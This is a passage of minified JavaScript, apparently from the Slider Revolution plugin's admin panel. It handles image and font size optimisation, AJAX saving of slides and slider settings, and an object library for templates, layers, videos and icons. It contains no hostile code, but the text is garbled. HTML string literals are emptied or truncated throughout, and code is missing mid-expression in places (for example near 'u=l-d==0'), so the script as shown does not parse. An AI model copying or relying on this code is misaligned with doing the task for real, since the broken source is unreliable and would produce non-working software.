'),e.amnt+1}function p(e){var t=[];for(var i in RVS.OZ.slideFullSize=0,RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(i)){var a=RVS.OZ.list[i];if(RVS.F.isNumeric(a.currentSize)&&-1==jQuery.inArray(a.currentUrl,t)){t.push(a.currentUrl),RVS.OZ.slideFullSize+=Math.round(a.currentSize/1e3);var r=Math.round(a.currentSize/1e3)+" kb";a.row.find(".op_c_b")[0].innerHTML=r}}for(var o in RVS.OZ.fontsFullSize=0,RVS.OZ.fontFamilies)RVS.OZ.fontFamilies.hasOwnProperty(o)&&void 0!==RVS.OZ.fontFamilies[o].size&&RVS.F.isNumeric(parseInt(RVS.OZ.fontFamilies[o].size))&&(RVS.OZ.fontsFullSize+=Math.round(parseInt(RVS.OZ.fontFamilies[o].size)/1e3));!0===e&&(RVS.OZ.slideFullSizeCache=RVS.OZ.slideFullSize);var s=parseInt(RVS.OZ.fontsFullSize)+parseInt(RVS.OZ.addOnsFullSize)+parseInt(RVS.OZ.coreFullSize),l=parseInt(RVS.OZ.slideFullSizeCache)+s,n=parseInt(RVS.OZ.minFullSize)+s,d=parseInt(RVS.OZ.slideFullSize)+s,c=Math.round(n/l*100),p=Math.round((l-d)/l*100),u=l-d==0?"":" ( "+(l=0){var i=JSON.stringify(RVS.OZ[e.slides[e.index]].slide),a=JSON.stringify(RVS.OZ[e.slides[e.index]].layers),r={slider_id:RVS.ENV.sliderID,slide_id:e.slides[e.index],params:i,layers:a,slide_order:e.order};RVS.DOC.trigger("rs_save_slide_params",[r]),RVS.F.ajaxRequest("save_slide",r,function(t){t.success&&(e.index++,u(e))},void 0,void 0,RVS_LANG.saveslide+'
"'+RVS.OZ[e.slides[e.index]].slide.title+'"')}else e.index++,u(e)}else RVS.OZ.inWork=void 0===RVS.OZ.inWork?[]:RVS.OZ.inWork,void 0!==e.trigger&&e.trigger()}function v(){var e=JSON.stringify(RVS.OZ.settings),t=RVS.OZ.slideIDs.slice(),i=-1;for(var a in t)t.hasOwnProperty(a)&&(""+t[a]).indexOf("static")>=0&&(i=a);t.splice(i,1),RVS.F.ajaxRequest("save_slider",{slider_id:RVS.ENV.sliderID,params:e,slide_ids:t},function(e){e.success&&void 0!==e.missing&&e.missing.length>0&&u({index:0,slides:RVS.OZ.slideIDs,works:e.missing})},void 0,void 0,RVS_LANG.saveslide+'
'+RVS_LANG.slidersettings+"")}function g(e,t,i,a){if("string"==typeof t){var r=t.split("."),o=r.length,s=o-1,l=e;if(o)for(var n=0;n69?RVS_LANG.pickandim:"",!0!==l.default?o[0].innerHTML='flash_on':o[0].innerHTML=""),p()}),RVS.DOC.on("mouseleave",".ofs_markpoint",function(){var e=jQuery(this),t=e.closest(".optim_row"),i=t.find(".op_c_b"),a=t.find(".op_c_d"),r=t[0].dataset.uid;RVS.OZ.list[r].lastSize!==RVS.OZ.list[r].currentSize&&(RVS.OZ.list[r].currentSize=RVS.OZ.list[r].lastSize,RVS.OZ.list[r].currentUrl=RVS.OZ.list[r].lastUrl,RVS.F.isNumeric(RVS.OZ.list[r].lastSize)&&(i[0].innerHTML=Math.round(RVS.OZ.list[r].lastSize/1e3)+" kb"),p()),t[0].dataset.currentinfo=void 0===t[0].dataset.currentinfo?"":t[0].dataset.currentinfo,a[0].innerHTML=t[0].dataset.currentinfo}),RVS.DOC.on("click","#rbm_optpanel_savebtn",function(){var e=[],t=[];for(var i in RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(i)&&void 0!==RVS.OZ.list[i].pickedImage){var a=RVS.OZ.list[i],r=a.images[a.pickedImage];!0!==r.default&&(-1==jQuery.inArray(a.slideid,e)&&e.push(a.slideid),void 0!==a.layerid&&t.push({slideid:a.slideid,layerid:a.layerid,type:a.imgtype,url:r.url}),g(RVS.OZ,a.pathURL,r.url),g(RVS.OZ,a.pathSize,a.pickedImage))}if(e.length>0)if(void 0!==RVS.SLIDER){for(i in e)"settings"!==e[i]&&-1==jQuery.inArray(e[i],RVS.SLIDER.inWork)&&RVS.SLIDER.inWork.push(e[i]),RVS.SLIDER[e[i]]=jQuery.extend(!0,RVS.SLIDER[e[i]],RVS.OZ[e[i]]);for(i in t)if(t.hasOwnProperty(i)){var o=t[i],s=jQuery("#_lc_"+o.slideid+"_"+o.layerid+"_");s.length>0&&("image"===o.type&&s.find("._lc_image_inside_").attr("src",o.url),RVS.F.drawHTMLLayer({uid:o.layerid}))}RVS.F.convertIDStoTxt(),RVS.F.convertArrayToObjects(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork})}else{for(i in e)RVS.OZ.inWork=void 0===RVS.OZ.inWork?[]:RVS.OZ.inWork,"settings"!==e[i]&&-1==jQuery.inArray(e[i],RVS.OZ.inWork)&&RVS.OZ.inWork.push(e[i]),RVS.OZ[e[i]]=jQuery.extend(!0,RVS.OZ[e[i]],RVS.OZ[e[i]]);for(i in t)if(t.hasOwnProperty(i)){var o=t[i],s=jQuery("#_lc_"+o.slideid+"_"+o.layerid+"_");s.length>0&&("image"===o.type&&s.find("._lc_image_inside_").attr("src",o.url),RVS.F.drawHTMLLayer({uid:o.layerid}))}convertIDStoTxt(),RVS.OZ.settings.nav.arrows.presets=Object.assign({},RVS.OZ.settings.nav.arrows.presets),RVS.OZ.settings.nav.bullets.presets=Object.assign({},RVS.OZ.settings.nav.bullets.presets),RVS.OZ.settings.nav.thumbs.presets=Object.assign({},RVS.OZ.settings.nav.thumbs.presets),RVS.OZ.settings.nav.tabs.presets=Object.assign({},RVS.OZ.settings.nav.tabs.presets),void 0!==RVS.OZ.settings.skins&&void 0!==RVS.OZ.settings.skins.colors&&(RVS.OZ.settings.skins.colors=Object.assign({},RVS.OZ.settings.skins.colors)),u({index:0,slides:RVS.OZ.slideIDs,trigger:v,works:RVS.OZ.inWork})}RVS.F.RSDialog.close()}),RVS.DOC.on("click","#more_about_optimizer",function(){RVS.F.RSDialog.create({modalid:"#rbm_optimizer_infos",bgopacity:.5}),RVS.F.RSDialog.center()}),RVS.DOC.on("click","#rbm_optimizer_infos .rbm_close",function(){RVS.F.RSDialog.close()}),jQuery("#rbm_optimizer_infos").closest(".rb-modal-wrapper").appendTo(jQuery(document.body)),RVS.S.optimizerListener=!0}(),void 0!==t&&(void 0!==t.sliderid&&""!==t.sliderid||void 0!==t.alias&&""!==t.alias)){RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent});var i={};void 0!==t.alias&&""!==t.alias&&(i.alias=t.alias),void 0!==t.sliderid&&""!==t.sliderid&&(i.id="slider-"+t.sliderid),setTimeout(function(){RVS.F.ajaxRequest("get_full_slider_object",i,function(t){if(void 0===t.id)RVS.F.showWaitAMinute({fadeOut:500,text:RVS_LANG.preparingdatas});else{for(var i in RVS.ENV.sliderid=t.id,RVS.ENV.sliderID=t.id,RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.preparingdatas}),t.slider_params.alias=t.alias,t.slider_params.title=t.title,RVS.OZ={slideIDs:[]},RVS.OZ.settings=jQuery.extend(!0,{},t.slider_params),void 0!==t.static_slide&&null!=t.static_slide.params&&void 0!==t.static_slide.params.static&&!0===t.static_slide.params.static.isstatic&&(RVS.OZ[t.static_slide.id]={slide:jQuery.extend(!0,{},t.static_slide.params),layers:jQuery.extend(!0,{},t.static_slide.layers)},RVS.OZ.slideIDs.push(t.static_slide.id)),t.slides)if(t.slides.hasOwnProperty(i)){let e=t.slides[i];RVS.OZ[e.id]={slide:jQuery.extend(!0,{},e.params),layers:jQuery.extend(!0,{},e.layers)},RVS.OZ.slideIDs.push(e.id)}e(),RVS.F.showWaitAMinute({fadeOut:500,text:RVS_LANG.preparingdatas})}},void 0,!0),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent})},100)}else void 0!==RVS.SLIDER&&(RVS.S.optimID=RVS.SLIDER.id,RVS.OZ=jQuery.extend(!0,{},RVS.SLIDER),e())},convertIDStoTxt=function(){for(var e in RVS.OZ.slideIDs)RVS.OZ.slideIDs.hasOwnProperty(e)&&(RVS.OZ.slideIDs[e]=""+RVS.OZ.slideIDs[e]);for(var e in RVS.OZ.inWork)RVS.OZ.inWork.hasOwnProperty(e)&&(RVS.OZ.inWork[e]=""+RVS.OZ.inWork[e])}}(),window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,function(){var e={images:"photo_camera",modules:"aspect_ratio",moduletemplates:"aspect_ratio",layers:"layers",videos:"videocam",svgcustom:"copyright",svgs:"copyright",fonticons:"font_download",objects:"filter_drama"},t={xs:10,s:25,m:50,l:75,o:100},i={lottie:"Lottie Addon",slicey:"Slicey Addon",bubblemorph:"Bubble Morph Addon",shapebuilder:"Shape Builder Addon"};function a(t){jQuery("#ol_filter_"+t).remove(),R({groupType:t,groupAlias:RVS_LANG["ol_"+t],icon:e[t],count:RVS.LIB.OBJ.types[t].count,tags:RVS.LIB.OBJ.types[t].tags,custom:RVS.LIB.OBJ.types[t].upload,groupopen:!0})}function r(e,t){var i=void 0!==e.bg.src&&e.bg.src.length>3?e.bg.src:RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png",a=void 0!==e.bg.style?e.bg.style:{};switch(Array.isArray(a)&&(a=RVS.F.toObject(a)),e.bg.type){case"image":a.backgroundImage="url("+i+")",tpGS.gsap.set(t,a);break;case"color":case"colored":case"solid":var r=window.RSColor.get(a["background-color"]);r.indexOf("gradient")>=0?tpGS.gsap.set(t,{backgroundImage:r}):tpGS.gsap.set(t,{backgroundColor:r});break;case"transparent":tpGS.gsap.set(t,{backgroundImage:"url("+RVS.ENV.plugin_url+"admin/assets/images/sources/"+(void 0===e.source?"gallery":e.source)+".png)",backgroundRepeat:"no-repeat",backgroundSize:"cover"})}}function o(e){if(e.index<=e.amount){var t=e.uids[e.index],i=c(t);if(1!==i.modal&&"1"!==i.modal||(RVS.LIB.OBJ.sliderPackageModal=!0,RVS.LIB.OBJ.sliderPackageModalsOrig.push(""+i.installed),RVS.LIB.OBJ.sliderPackageModalsOrigUid.push(i.uid)),void 0!==i.additions&&""!==i.additions&&(RVS.LIB.OBJ.sliderPackageAdditionsUID[i.uid]=i.additions,RVS.LIB.OBJ.sliderPackageAdditionsInstalled[i.installed]=i.additions),RVS.LIB.OBJ.addonsToInstall=[],null!==i.plugin_require&&void 0!==i.plugin_require&&i.plugin_require.length>0)for(var a in i.plugin_require)!1===i.plugin_require[a].installed&&RVS.LIB.OBJ.addonsToInstall.push(i.plugin_require[a].path.split("/")[0]);RVS.F.installModuleTemplateForPackage(RVS.LIB.OBJ.reDownloadTemplate||0==i.installed?{_:e,folderid:void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1,uid:t,modal:!0}:{_:e,folderid:void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1,uid:t,sliderid:i.installed})}else{p({uid:e.folderuid,hiddensliderid:!0}),RVS.LIB.OBJ.createBlankPage&&RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.draftpage&&RVS.DOC.trigger(RVS.LIB.OBJ.success.draftpage,{pages:RVS.LIB.OBJ.sliderPackageIds,modals:RVS.LIB.OBJ.sliderPackageModals,additions:RVS.LIB.OBJ.sliderPackageAdditions}),RVS.F.closeObjectLibrary();var r=void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1;if(-1!==r&&(r=RVS.F.getOVSliderIndex(r),RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[r].id,children:sliderLibrary.sliders[r].children},function(e){}),-1!==sliderLibrary.sliders[r].parent)){var o=RVS.F.getOVSliderIndex(sliderLibrary.sliders[r].parent);RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[o].id,children:sliderLibrary.sliders[o].children},function(e){})}RVS.LIB.OBJ.sliderPackageModal&&RVS.F.ajaxRequest("adjust_modal_ids",{map:RVS.LIB.OBJ.sliderPackageReferenceMap},function(e){})}}function s(e,t){RVS.LIB.OBJ.selectedSlideId=e,void 0===RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers?RVS.F.ajaxRequest("get_layers_by_slide",{slide_id:t},function(e){if(e.success){var t=!0;if(void 0!==e.layers&&null!==e.layers)for(var i in e.layers){if(!t)continue;t="top"==i||"bottom"==i||"middle"==i}t?RVS.F.showInfo({content:RVS_LANG.nolayersinslide,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}):(RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers=jQuery.extend(!0,{},e.layers),RVS.F.layerImportList())}}):RVS.F.layerImportList()}function l(e){var t=!1;for(var a in RVS.S.extendedLayerTypes)1!=t&&RVS.S.extendedLayerTypes.hasOwnProperty(a)&&(a!==e&&RVS.S.extendedLayerTypes[a].subtype!==e||(t=!0));return 0==t&&(t=!i.hasOwnProperty(e)),t}function n(e,t){var a,r=void 0!==e.subtype&&""!==e.subtype&&0==l(e.subtype)?"disabled":"",o='\t
';o+='\t\t'+RVS.F.getLayerIcon(e.linebreak?"linebreak":e.type,e.subtype)+"",o+='\t\t
'+e.alias+"
",o+='\t\t
'+e.size.width.d.v+" x "+e.size.height.d.v+"
",void 0!==e.subtype&&""!==e.subtype&&0==l(e.subtype)&&(o+='\t\t
Required: '+(a=e.subtype,void 0!==i&&""!==i&&void 0!==i[a]?i[a]:a)+"
"),e.actions.action.length>0&&(o+='\t\t
'+RVS_LANG.layerwithaction+"
");var s=RVS.F.layerFrameTriggeredBy({layerid:e.uid,src:RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers});return""!==s.alias&&""!==s.uid&&(o+='\t\t
'+RVS_LANG.triggeredby+" "+s.alias+"
"),o+='\t\t
radio_button_unchecked
',o+="\t
"}function d(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e?RVS.LIB.OBJ.items[t][a]:i);return i}function c(e){return function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=RVS.LIB.OBJ.items[t][a].uid===e?RVS.LIB.OBJ.items[t][a]:i);return i}(e,"moduletemplates")}function p(e,t){for(var i in RVS.LIB.OBJ.items.moduletemplates)if(RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(i)&&RVS.LIB.OBJ.items.moduletemplates[i].uid===e.uid&&(RVS.LIB.OBJ.items.moduletemplates[i].installed=e.hiddensliderid,t&&(RVS.LIB.OBJ.items.moduletemplates[i].modal="1"),void 0!==RVS.LIB.OBJ.items.moduletemplates[i].ref&&RVS.LIB.OBJ.items.moduletemplates[i].ref.find(".installed_notinstalled").html(RVS_LANG.installed),e.children))for(var a in RVS.LIB.OBJ.items.moduletemplateslides)RVS.LIB.OBJ.items.moduletemplateslides.hasOwnProperty(a)&&RVS.LIB.OBJ.items.moduletemplateslides[a].parent==RVS.LIB.OBJ.items.moduletemplates[i].id&&(RVS.LIB.OBJ.items.moduletemplateslides[a].installed=e.hiddensliderid,RVS.LIB.OBJ.items.moduletemplateslides[a].slideid=e.slideids[parseInt(RVS.LIB.OBJ.items.moduletemplateslides[a].slideid,0)],void 0!==RVS.LIB.OBJ.items.moduletemplateslides[a].ref&&RVS.LIB.OBJ.items.moduletemplateslides[a].ref.find(".installed_notinstalled").html(RVS_LANG.installed))}function u(e){e&&jQuery("#searchobjects").val("");var t=jQuery("li.ol_filter_listelement.selected");t.length>0&&void 0!==t&&jQuery("#searchobjects").attr("placeholder",RVS_LANG.search+" "+b(t[0].dataset.title).t+" ...")}function v(){jQuery(".olibrary_item.selected").removeClass("selected"),RVS.LIB.OBJ.container_Underlay.hide(),jQuery("#obj_library_mediapreview").remove(),RVS.LIB.OBJ.moduleInFocus=!1}function g(){var e=Math.floor(RVS.LIB.OBJ.container_OutputWrap.width()/287),t=Math.floor(RVS.LIB.OBJ.container_OutputWrap.innerHeight()/235);return 0!==e&&0!==t||(e=Math.floor((window.innerWidth-330)/287),t=Math.floor((window.innerHeight-160)/235)),e*t}function m(){RVS.LIB.OBJ.pageAmount=parseInt(RVS.LIB.OBJ.pageAmount,0),RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0),jQuery(".page_button.ol_pagination").each(function(){var e=parseInt(this.dataset.page,0),t=!1;1!==e&&e!==RVS.LIB.OBJ.pageAmount||(t=!0),RVS.LIB.OBJ.selectedPage<4&&e>0&&e<5&&(t=!0),RVS.LIB.OBJ.selectedPage>RVS.LIB.OBJ.pageAmount-3&&e>RVS.LIB.OBJ.pageAmount-4&&e<9999&&(t=!0),e<9999&&e>=RVS.LIB.OBJ.selectedPage-1&&e<=RVS.LIB.OBJ.selectedPage+1&&e>0&&(t=!0),(RVS.LIB.OBJ.selectedPage>=4&&-9999===e||RVS.LIB.OBJ.selectedPage<=RVS.LIB.OBJ.pageAmount-3&&9999===e)&&(t=!0),RVS.LIB.OBJ.pageAmount<8&&(t=9999!=e&&-9999!=e),this.style.display=t?"inline-block":"none"})}function h(e){var t=[];t.push(e);for(var i=0;-1!==e&&20!==i;){e=-1!==RVS.F.getSliderIndex(e)&&void 0!==RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e]&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e].parent||-1,t.push(e),i++}return t}function f(e){return e.filter===e.o.source||e.filter===e.o.type||e.filter===e.o.size||jQuery.inArray(e.filter,e.o.tags)>=0||jQuery.inArray(e.filter,e.o.tag)>=0||e.filter==e.o.tag||e.filter==e.o.tags}function S(){RVS.LIB.OBJ.container_Filters.RSScroll({wheelPropagation:!1}),RVS.LIB.OBJ.container_OutputWrap.RSScroll({wheelPropagation:!1})}function b(e){switch(e){case"Slider":return{o:1,t:"Slider"};case"Carousel":return{o:2,t:"Carousel"};case"Hero":return{o:3,t:"Hero"};case"Website":return{o:4,t:"Website"};case"Premium":return{o:5,t:"Special FX"};case"Postbased":return{o:6,t:"Post Based"};case"Socialmedia":return{o:7,t:"Social Media"};case"Revolution Base":return{o:8,t:"Basic"};default:return{o:0,t:e.replace("All ","")}}}function y(e,t){setTimeout(function(){e.removeClass("inedit")},50);var i=e.find(".filter_tag_name_input"),a=e.find(".filter_tag_name");if(t){var r=i.val(),o=e[0].dataset.filter,s=e[0].dataset.type;RVS.F.ajaxRequest("edit_customlibrary_tags",{id:o,name:r,type:s},function(t){a[0].innerHTML=r,RVS.LIB.OBJ.types[s].tags[o]=r,e[0].dataset.title=r,RVS.F.updateCustomCategorySelectors(s)})}else i[0].value=a[0].innerHTML;window.ignoreCustomCategoryBlur=!0,i.blur()}function R(e){var t=void 0!==e.custom||void 0!==e.tags&&Object.keys(e.tags).length>0;if(_html='
'+e.icon+''+e.groupAlias+"
",t){_html+='
    ',_html+='
  • All
  • ';var i=new Array,a=new Array;for(var r in e.tags)if(e.tags.hasOwnProperty(r)){var o,s="moduletemplates"===e.groupType?b(e.tags[r]):{o:0,t:e.tags[r]};void 0!==e.tagIDs&&e.tagIDs[r];o='
  • ',o+=''+s.t+"",void 0!==e.custom&&(o+='',o+='edit',o+='delete',o+='check',o+='close',o+='
    '),o+="
  • ",0==s.o?a.push(o):i[s.o]=o}for(var r in i)void 0!==i[r]&&(_html+=i[r]);for(var r in a)void 0!==a[r]&&(_html+=a[r]);void 0!==e.custom&&(_html+='
  • add'+RVS_LANG.addcategory+"
  • "),_html+="
"}_html+="
",RVS.LIB.OBJ.container_Filters.append(_html)}RVS.F.initObjectLibrary=function(e){RVS.DOC.on("click","#ol_close",function(){!0===RVS.LIB.OBJ.moduleInFocus?(v(),RVS.LIB.OBJ.moduleInFocus=!1):RVS.F.closeObjectLibrary()}),RVS.DOC.on("click","#reset_objsorting",function(){v(),jQuery("#sel_olibrary_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateObjectLibraryOverview",{val:"datedesc",eventparam:"#reset_objsorting",ignoreCookie:!0})}),RVS.DOC.on("updateObjectLibraryOverview",function(e,t){if(void 0!==t&&void 0!==t.eventparam){var i="#reset_objsorting"===t.eventparam?"datedesc"===t.val?0:1:"all"===t.val?0:1,a=1===i?"inline-block":"none";tpGS.gsap.set(t.eventparam,{autoAlpha:i,display:a})}void 0===t||t.ignoreRebuild||(void 0!==t.val&&!0!==t.ignoreCookie&&RVS.F.setCookie("rs6_library_pagination",t.val,360),v(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1}))}),RVS.DOC.on("click",".ol_filter_listelement",function(){if(!(this.className.indexOf("inedit")>=0||this.className.indexOf("add_ol_new_custom_category")>=0)){var e=jQuery(this),t=e.closest(".ol_filter_type");if("true"!=this.dataset.subtags)RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedType=this.dataset.type,RVS.LIB.OBJ.selectedFilter=this.dataset.filter,RVS.LIB.OBJ.selectedPage=1,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedFolder=-1,RVS.F.loadLibrary({modules:[this.dataset.type],event:"reBuildObjectLibrary"}),jQuery(".ol_filter_listelement.selected").removeClass("selected"),e.addClass("selected"),t.find(".ol_filter_headerelement").addClass("selected");else{var i=t.hasClass("open");jQuery(".ol_filter_type.open").removeClass("open"),i||t.addClass("open");var a=t.find(".ol_filter_group");0===a.find(".selected").length&&a.find(".ol_filter_listelement").first().trigger("click")}return u(),v(),!1}}),RVS.DOC.on("click","#ol_right_underlay",v),RVS.DOC.on("click",".ol_link_to_delete",function(){var e=this.dataset.librarytype,t=this.dataset.id;d(t,e),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deletecustomitem,maintext:RVS_LANG.areyousuretodelete+"?",subtext:RVS_LANG.thiswilldeletecustomitem,do:{icon:"delete",text:RVS_LANG.yesdeleteit,callback:function(){RVS.F.ajaxRequest("delete_customlibrary_item",{id:t,type:e},function(i){!function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e?a:i);void 0!==i&&RVS.LIB.OBJ.items[t].splice(i,1)}(t,e),jQuery("#"+e+"_"+t).remove(),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()})}},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery(document.body)).css({zIndex:1e8})}),RVS.DOC.on("click",".ol_link_to_add",function(){var e=this.dataset.librarytype,t=this.dataset.event;if("modules"===e||"true"===RVS.ENV.activated||!0===RVS.ENV.activated)switch(e){case"modules":let h,f=jQuery(this).closest(".olibrary_item").attr("data-objid"),S=RVS.LIB.OBJ.items.modules,b=S.length;for(let e=0;e'+this.dataset.parenttitle+"")}else RVS.DOC.trigger(RVS.LIB.OBJ.success.slide,i.slideid),RVS.F.closeObjectLibrary();break;case"moduletemplates":RVS.LIB.OBJ.container_Underlay.show(),RVS.LIB.OBJ.moduleInFocus=!0;var i=jQuery(this);if("moduletemplates"===this.dataset.librarytype){var r=i.closest(".olibrary_item"),o=r.find(".ol_template_info_wrap");r.addClass("selected");var s=r.offset().left;tpGS.gsap.set(o,{left:"auto",right:"auto"}),s+630>window.outerWidth+(RVS.S.isRTL?-300:0)?s-340>300?tpGS.gsap.set(o,{left:"auto",right:"100%",x:"-20px",transformOrigin:"100% 0%"}):tpGS.gsap.set(o,{left:r.width()-(s+630-window.outerWidth)+"px",zIndex:200,right:"auto",x:"20px",transformOrigin:"0% 0%"}):tpGS.gsap.set(o,{left:"100%",right:"auto",x:"20px",transformOrigin:"0% 0%"});var l=document.querySelectorAll(".redownloadTemplateState, .createBlankPageState");for(var n in l)l.hasOwnProperty(n)&&(l[n].checked=l[n].className.indexOf("redownloadTemplateState")>=0?RVS.LIB.OBJ.reDownloadTemplate:RVS.LIB.OBJ.createBlankPage,RVS.F.turnOnOffVisUpdate({input:l[n]}))}break;case"videos":var c=jQuery.extend(!0,RVS.LIB.OBJ.data,d(this.dataset.id,this.dataset.librarytype));RVS.F.ajaxRequest("load_library_object",{type:"video",id:this.dataset.id},function(e){e.success&&(c.img=e.cover,c.video=e.url,RVS.DOC.trigger(RVS.LIB.OBJ.success.video,c))}),RVS.F.closeObjectLibrary();break;case"layers":var u=this.dataset.id;RVS.F.ajaxRequest("load_library_object",{type:"layers",id:this.dataset.id},function(e){if(e.success){for(var t in RVS.LIB.OBJ.import={toImport:[]},e.layers)e.layers.hasOwnProperty(t)&&(e.layers[t].layerLibSrc=u,RVS.LIB.OBJ.import.toImport.push(e.layers[t].uid));RVS.F.showWaitAMinute({fadeIn:100,text:RVS_LANG.importinglayers}),RVS.F.importSelectedLayers(RVS.F.checkLayersRelativeAbsolute(e.layers)),RVS.DOC.trigger(RVS.LIB.OBJ.success.layers)}else RVS.F.closeObjectLibrary()});break;case"fonticons":case"svgcustom":case"svgs":var v=function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=RVS.LIB.OBJ.items[t][a].handle===e?RVS.LIB.OBJ.items[t][a]:i);return i}(this.dataset.handle,this.dataset.librarytype);"svgs"!==this.dataset.librarytype&&"svgcustom"!==this.dataset.librarytype||(v.svg=v.ref.find("svg"),v.svgfull=v.svg[0].innerHTML,v.path=v.svg.find("path").attr("d"),v.viewBox=v.svg[0].viewBox),RVS.DOC.trigger(RVS.LIB.OBJ.success.icon,v),RVS.F.closeObjectLibrary();break;default:if(void 0!==t)RVS.DOC.trigger(t);else{var v=d(this.dataset.id,this.dataset.librarytype);if(void 0!==this.dataset.collect){var g=this.parentNode.getElementsByClassName(this.dataset.collect);if(0!==g.length&&void 0!==g)for(var m in v.collects=[],g)void 0!==g[m].className&&g[m].className.includes("selected")&&void 0!==g[m].dataset&&void 0!==g[m].dataset.val&&v.collects.push(g[m].dataset.val)}RVS.DOC.trigger(RVS.LIB.OBJ.success.custom,v),RVS.F.closeObjectLibrary()}}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("mouseenter",".ol_link_to_add_image",function(){var e=document.getElementById("sizeinfo_"+this.dataset.librarytype+"_"+this.dataset.id);null!=e&&(e.innerHTML=Math.round(parseInt(e.dataset.w,0)*(t[this.dataset.size]/100))+"x"+Math.round(parseInt(e.dataset.h,0)*(t[this.dataset.size]/100)))}),RVS.DOC.on("mouseleave",".ol_link_to_add_image",function(){var e=document.getElementById("sizeinfo_"+this.dataset.librarytype+"_"+this.dataset.id);null!=e&&(e.innerHTML=parseInt(e.dataset.w,0)+"x"+parseInt(e.dataset.h,0))}),RVS.DOC.on("click",".ol_link_to_add_image",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=jQuery.extend(!0,RVS.LIB.OBJ.data,d(this.dataset.id,this.dataset.librarytype));e.size=t[this.dataset.size],RVS.F.ajaxRequest("load_library_object",{type:t[this.dataset.size],id:this.dataset.id},function(t){t.success&&(e.img=t.url,RVS.DOC.trigger(RVS.LIB.OBJ.success.image,e))}),RVS.F.closeObjectLibrary()}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("reBuildObjectLibrary",function(){v(),RVS.F.reBuildObjectLibrary(),jQuery(".ol_filter_type.selected").removeClass("selected"),jQuery(".ol_filter_listelement.selected").removeClass("selected"),jQuery(".ol_filter_listelement").each(function(){this.dataset.filter===RVS.LIB.OBJ.selectedFilter&&this.dataset.type===RVS.LIB.OBJ.selectedType&&this.classList.add("selected")}),jQuery(".ol_filter_type.open").addClass("selected")}),RVS.DOC.on("reBuildObjectLibraryAndCheckSingleSlide",function(){v(),RVS.F.reBuildObjectLibrary();var e,t,i=0;for(var a in RVS.LIB.OBJ.items.moduleslides)RVS.LIB.OBJ.items.moduleslides.hasOwnProperty(a)&&RVS.LIB.OBJ.items.moduleslides[a].slider_id===RVS.LIB.OBJ.selectedModule&&(i++,e=RVS.LIB.OBJ.items.moduleslides[a].id,t=RVS.LIB.OBJ.items.moduleslides[a].installed);1===i&&"layers"===RVS.LIB.OBJ.depth&&s(e,t)}),RVS.DOC.on("click",".ol_link_to_view",function(){var e=jQuery(this);void 0!==e[0].dataset.preview&&e[0].dataset.preview.length>0&&window.open(e[0].dataset.preview,"_blank")}),RVS.DOC.on("mouseenter",".show_video_on_hover",function(){clearTimeout(window.showVideOnHoverTimer);var e=jQuery(this),t=e.closest(".olibrary_item"),i=t.find(".ol_template_info_wrap"),a=this.dataset.videosource;window.showVideOnHoverTimer=setTimeout(function(){t.find(".videopreview").append(''),t.addClass("selected");var e=t.offset().left;tpGS.gsap.set(i,{left:"auto",right:"auto"}),e+630>window.outerWidth+(RVS.S.isRTL?-300:0)?e-340>300?tpGS.gsap.set(i,{left:"auto",right:"100%",x:"-20px",transformOrigin:"100% 0%"}):tpGS.gsap.set(i,{left:t.width()-(e+630-window.outerWidth)+"px",zIndex:200,right:"auto",x:"20px",transformOrigin:"0% 0%"}):tpGS.gsap.set(i,{left:"100%",right:"auto",x:"20px",transformOrigin:"0% 